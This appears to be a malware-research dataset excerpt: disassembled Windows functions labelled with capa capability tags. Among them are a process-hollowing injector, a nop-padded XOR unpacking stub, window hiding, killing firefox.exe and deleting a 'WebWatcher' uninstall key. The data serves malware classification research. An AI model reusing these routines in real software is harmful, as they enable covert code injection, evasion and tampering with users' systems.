joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407590
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x16c
mov eax, dword [0x466014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov esi, ecx
push eax
push 0
call dword [0x4540bc]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40778b
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0x40778b
push 0x44
lea eax, [ebp - 0x14c]
push 0
push eax
call fcn.004388a0
add esp, 0xc
lea eax, [ebp - 0x160]
xorps xmm0, xmm0
movups xmmword [ebp - 0x160], xmm0
push eax
lea eax, [ebp - 0x14c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [0x454064]
test eax, eax
je 0x40778b
push 4
push 0x1000
push 4
push 0
call dword [0x4540ac]
mov ebx, eax
push ebx
mov dword [ebp - 0x16c], ebx
mov dword [ebx], 0x10007
push dword [ebp - 0x15c]
call dword [0x454050]
test eax, eax
je 0x40778b
push 0
push 4
lea eax, [ebp - 0x150]
push eax
push 0x45cea4
push dword [ebp - 0x160]
call dword [0x4540c0]
mov eax, dword [edi + 0x34]
cmp dword [ebp - 0x150], eax
jne 0x4076ac
push 0x45cea8
push 0x45cec0
call dword [0x454094]
push eax
call dword [0x454054]
push dword [ebp - 0x150]
push dword [ebp - 0x160]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [ebp - 0x160]
call dword [0x454058]
mov dword [ebp - 0x168], eax
test eax, eax
je 0x40778b
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [ebp - 0x160]
call dword [0x4540b8]
xor eax, eax
cmp ax, word [edi + 6]
jae 0x407745
mov ecx, 0xa0
xor ebx, ebx
mov dword [ebp - 0x164], ecx
nop dword [eax]
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + esi + 0x68]
mov eax, dword [ecx + esi + 0x6c]
add eax, esi
push eax
mov eax, dword [ecx + esi + 0x64]
add eax, dword [ebp - 0x168]
push eax
push dword [ebp - 0x160]
call dword [0x4540b8]
mov ecx, dword [ebp - 0x164]
inc ebx
movzx eax, word [edi + 6]
add ecx, 0x28
mov dword [ebp - 0x164], ecx
cmp ebx, eax
jl 0x407700
mov ebx, dword [ebp - 0x16c]
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [ebx + 0xa4]
add eax, 8
push eax
push dword [ebp - 0x160]
call dword [0x4540b8]
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x168]
push ebx
mov dword [ebx + 0xb0], eax
push dword [ebp - 0x15c]
call dword [0x45406c]
push dword [ebp - 0x15c]
call dword [0x45409c]
push 0x8000
push 0
push esi
call dword [0x4540b4]
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004217a1
mov esp, ebp
pop ebp
ret
Function at 0x402b78
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x409014]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x402c10
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x402bf0
xor eax, eax
push ebp
push 0x402be9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x402c2c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x402bf0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x409014]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x409014], ax
mov esp, ebp
pop ebp
ret

Function at 0x403544
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x40a044], 0
je 0x4035a5
cmp word [0x40a218], 0xd7b2
jne 0x40356d
cmp dword [0x40a220], 0
jbe 0x40356d
mov eax, 0x40a214
call dword [0x40a230]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x40905c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4035cc
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x409020], 0
jne 0x4035c1
push 0
push 0x409054
push 0x40905c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x403ed4
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404104
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403f57
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404104
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403f57
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404120
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403fe0
xor eax, eax
push ebp
push 0x403fd9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00403d1c
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x403fbe
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x404140
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x403fbe
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403fe0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4040fa
cmp byte [ebp - 0xd], 0
jne 0x404027
cmp byte [ebp - 0x12], 0
je 0x4040fa
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x404040
dec ebx
cmp byte [ebx], 0x2e
je 0x40404f
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x40403f
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4040fa
inc ebx
cmp byte [ebp - 0x12], 0
je 0x40408c
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4040fa
cmp byte [ebp - 0xd], 0
je 0x4040fa
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4040fa
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4042d8
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40433e
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00403908
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.0040276c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x404328
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404345
lea eax, [ebp - 0x10]
call fcn.004036c0
ret

Function at 0x40623c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x406275
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004037b0
jmp 0x40627e
mov eax, ebx
mov edx, esi
call fcn.00403714
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x406288
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x4062a9
mov al, byte [esp]
jmp 0x4062ab
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x406930
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x4067a8
mov eax, dword [0x4093b8]
cmp byte [eax], 0
je 0x4069ac
mov eax, dword [0x409310]
call fcn.004026e8
call fcn.004025ec
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00405730
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4069f4
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x4069e2
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4092f0]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x40a660]
call fcn.00403ce0
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x4073c4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x407428
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00403908
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00405604
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40742f
lea eax, [ebp - 0xc]
call fcn.004036c0
ret

Function at 0x407ff0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, dword [ebp + 0x104]
mov eax, dword [edi]
push eax
call fcn.00407f80
mov dword [ebp - 8], eax
mov eax, dword [edi]
movzx esi, word [eax + 6]
dec esi
test esi, esi
jl 0x4080d4
inc esi
mov eax, dword [ebp - 8]
cmp dword [eax + 0x10], 0
jne 0x408072
mov eax, dword [ebp + 0x44]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jle 0x408064
push 0x40
push 0x1000
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
xor edx, edx
push edx
push eax
mov eax, dword [edi + 4]
call fcn.00407f28
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
mov eax, dword [ebp - 8]
mov dword [eax + 8], ebx
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00404760
push 0
push 0x28
lea eax, [ebp - 8]
call fcn.00407ef8
jmp 0x4080cd
push 0x40
push 0x1000
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x10]
push eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0xc]
xor edx, edx
push edx
push eax
mov eax, dword [edi + 4]
call fcn.00407f28
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov ebx, eax
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x14]
xor edx, edx
push edx
push eax
mov eax, dword [ebp + 8]
call fcn.00407f28
mov edx, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
mov eax, ebx
call fcn.00404758
mov eax, dword [ebp - 8]
mov dword [eax + 8], ebx
push 0
push 0x28
lea eax, [ebp - 8]
call fcn.00407ef8
dec esi
jne 0x40801a
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret 0x100

Function at 0x408384
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
test eax, 0x4000000
je 0x408399
or edx, 0x200
test eax, 0x20000000
je 0x4083cc
test eax, 0x40000000
je 0x4083b8
test eax, 0x80000000
je 0x4083b3
or edx, 0x40
jmp 0x4083f3
or edx, 0x20
jmp 0x4083f3
test eax, 0x80000000
je 0x4083c7
or edx, 0x80
jmp 0x4083f3
or edx, 0x10
jmp 0x4083f3
test eax, 0x40000000
je 0x4083e4
test eax, 0x80000000
je 0x4083df
or edx, 4
jmp 0x4083f3
or edx, 2
jmp 0x4083f3
test eax, 0x80000000
je 0x4083f0
or edx, 8
jmp 0x4083f3
or edx, 1
mov eax, edx
pop ebp
ret 4
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
pop eax
nop
nop
add eax, 0x40729f
nop
sub eax, 0x407245
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43201e
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219

Function at 0x4038fa
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fa], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404658], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x4045ec], eax
mov dword [0x4040f2], eax
mov dword [0x4045d8], 0x30
mov dword [0x4045dc], 2
jmp 0x40393f
mov dword [0x4045e0], 0x403153
mov dword [0x4045e4], 0
mov dword [0x4045e8], 0
mov dword [0x404600], 0x40454e
mov dword [0x4045f8], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x4045f0], eax
mov dword [0x404604], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x4045f4], eax
push 0x4045d8
fadd dword [ebp + 0x40]
add bh, bh
adc eax, sym.imp.user32.dll_RegisterClassExA
push 0
push dword [0x4040f2]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push 0x40454e
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404650], eax
push 5
push dword [0x404650]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404650]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404608]
jmp 0x403a13
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a05
mov eax, dword [0x404610]
jmp 0x403a2e
call 0x402bd5
ret
Function at 0x100012b9
Capabilities:
Get hostname
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3a
lea eax, [ebp - 0x3e]
push ebx
push eax
mov dword [ebp - 0x98], ecx
mov word [ebp - 0x40], bx
call fcn.10042010
add esp, 0xc
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x88], 0x1e
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp byte [ebp + 8], bl
je 0x10001326
cmp dword [ebp - 0x88], 0x1d
jae 0x10001326
mov eax, dword [ebp - 0x88]
inc dword [ebp - 0x88]
mov word [ebp + eax*2 - 0x40], 0x24
push 0x43
lea eax, [ebp - 0x83]
push ebx
push eax
mov byte [ebp - 0x84], bl
call fcn.10042010
add esp, 0xc
mov dword [ebp - 0x94], 0x44
mov dword [ebp - 0x90], ebx
xor esi, esi
mov dword [ebp - 0x8c], 2
lea eax, [ebp - 0x9c]
push eax
lea eax, [ebp - 0x90]
push eax
push esi
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x40]
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov edi, eax
mov eax, dword [ebp - 0x90]
cmp eax, ebx
je 0x100013a9
cmp esi, ebx
jne 0x100013a9
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.1003e542
pop ecx
mov esi, eax
dec dword [ebp - 0x8c]
jne 0x1000135a
cmp esi, ebx
je 0x100013bc
push esi
call fcn.100421fa
pop ecx
cmp edi, ebx
je 0x100013f2
mov edi, dword [ebp - 0x98]
push edi
lea eax, [ebp - 0x84]
push eax
call sub.ADVAPI32.dll_ConvertSidToStringSidW
mov esi, eax
cmp esi, ebx
je 0x100013eb
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jne 0x100013e7
xor esi, esi
cmp esi, ebx
jne 0x100013f2
mov ecx, edi
call fcn.100012a4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10041ffa
leave
ret 4

Function at 0x10001455
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
test eax, eax
mov dword [ebp - 4], ecx
je 0x1000150d
cmp word [eax], 0
je 0x1000150d
cmp dword [ebp + 0xc], 0
jne 0x1000147f
mov dword [ebp + 0xc], 0x10070adc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
push eax
call esi
mov ebx, eax
lea edi, [ebx + ebx]
lea eax, [edi + 2]
push eax
push 0
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
je 0x1000150a
push dword [ebp + 0xc]
call esi
xor esi, esi
test ebx, ebx
jbe 0x10001500
mov edi, dword [ebp + 0x10]
cmp edi, eax
jb 0x100014c3
xor edi, edi
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + esi*2]
mov ecx, dword [ebp + 0xc]
movzx ecx, word [ecx + edi*2]
cmp dx, cx
jne 0x100014db
movzx ecx, dx
jmp 0x100014e0
xor ecx, edx
movzx ecx, cx
test cx, cx
je 0x100014eb
cmp cx, 0x5c
jne 0x100014ee
push 0x2a
pop ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx]
inc edi
mov word [edx + esi*2], cx
inc esi
cmp esi, ebx
jb 0x100014bd
mov edi, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov eax, dword [eax]
and word [edi + eax], 0
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x100016d1
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x20019
xor ebx, ebx
push ebx
push str.SOFTWAREMicrosoftWindowsCurrentVersionApp_Paths_firefox.exe
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x10001745
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push esi
push ebx
push ebx
push 0x10070ae4
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
mov dword [ebp - 8], eax
jne 0x1000173a
mov eax, dword [edi]
mov word [esi + eax*2], bx
mov eax, dword [edi]
cmp word [esi + eax*2 - 2], 0x5c
je 0x1000173a
push 0x10070ae0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x10001782
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x10]
xor esi, esi
push 0x40e
mov dword [ebp - 0x424], eax
lea eax, [ebp - 0x412]
push esi
push eax
mov dword [ebp - 0x41c], edi
mov dword [ebp - 0x418], esi
mov word [ebp - 0x414], si
call fcn.10042010
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x414]
push eax
mov dword [ebp - 0x420], 0x208
call fcn.100016d1
add esp, 0x14
cmp dword [ebp - 0x420], esi
jne 0x10001802
mov dword [ebp - 0x418], 0x80070490
jmp 0x100018d7
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.components
lea eax, [ebp - 0x414]
push eax
call esi
push str.components.list
lea eax, [ebp - 0x414]
push eax
call esi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea eax, [ebp - 0x414]
push eax
call ebx
test eax, eax
jne 0x1000197e
mov edi, dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [ebp - 0x414]
push eax
call edi
push str.binary.manifest
lea eax, [ebp - 0x414]
push eax
call esi
lea eax, [ebp - 0x414]
push eax
call ebx
test eax, eax
je 0x10001874
mov eax, dword [ebp - 0x41c]
test eax, eax
je 0x100018d7
mov byte [eax], 1
jmp 0x100018d7
lea eax, [ebp - 0x414]
push eax
call edi
lea eax, [ebp - 0x414]
push eax
call edi
push str.browser
lea eax, [ebp - 0x414]
push eax
call esi
push str.components
lea eax, [ebp - 0x414]
push eax
call esi
push str.components.manifest
lea eax, [ebp - 0x414]
push eax
call esi
lea eax, [ebp - 0x414]
push eax
call ebx
test eax, eax
jne 0x10001865
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x100018d1
and eax, 0xffff
or eax, 0x80070000
mov dword [ebp - 0x418], eax
mov eax, dword [ebp - 0x424]
or dword [eax], 0xffffffff
cmp dword [ebp - 0x418], 0
jl 0x100019a9
mov al, byte [ebp + 0xc]
neg al
sbb eax, eax
and eax, 0x40000000
xor ebx, ebx
or eax, 0x80000000
cmp byte [ebp + 0xc], bl
mov edi, eax
sete bl
and dword [ebp - 0x41c], 0
xor esi, esi
cmp dword [ebp - 0x41c], esi
je 0x10001921
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 0x80
push 3
push esi
push ebx
push edi
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov ecx, dword [ebp - 0x424]
mov dword [ecx], eax
jne 0x1000198e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jle 0x10001962
and eax, 0xffff
or eax, 0x80070000
cmp esi, 0x20
mov dword [ebp - 0x418], eax
jne 0x10001996
inc dword [ebp - 0x41c]
cmp dword [ebp - 0x41c], 0x64
jb 0x1000190f
jmp 0x100019a9
test edi, edi
je 0x100018d7
mov byte [edi], 0
jmp 0x100018d7
mov dword [ebp - 0x418], esi
jmp 0x100019a9
cmp dword [ebp - 0x418], 0
jl 0x100019a9
mov dword [ebp - 0x418], 0x8000ffff
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x418]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10041ffa
leave
ret
Function at 0x10001d43
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x10086e84]
xor eax, ebp
mov dword [ebp - 4], eax
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [ebp - 0x234], eax
je 0x10001e04
push esi
push 0x228
lea eax, [ebp - 0x22c]
push 0
push eax
call fcn.10042010
add esp, 0xc
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x234]
mov dword [ebp - 0x230], 0x22c
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x10001dfb
push edi
lea eax, [ebp - 0x20c]
push str.firefox.exe
push eax
call fcn.10042b4e
test eax, eax
pop ecx
pop ecx
jne 0x10001de4
push dword [ebp - 0x228]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
je 0x10001de4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call esi
lea eax, [ebp - 0x230]
push eax
push dword [ebp - 0x234]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x10001dac
pop edi
push dword [ebp - 0x234]
call esi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10041ffa
leave
ret

Function at 0x10001e52
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push esi
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
mov edi, str.SoftwareMicrosoftWindowsCurrentVersionUninstallWebWatcher
push edi
mov esi, reloc.OLEAUT32.dll_SysReAllocString
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10001e90
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
neg eax
sbb eax, eax
and eax, 0x80004005
jmp 0x10001e93
xor eax, eax
inc eax
pop edi
pop esi
leave
ret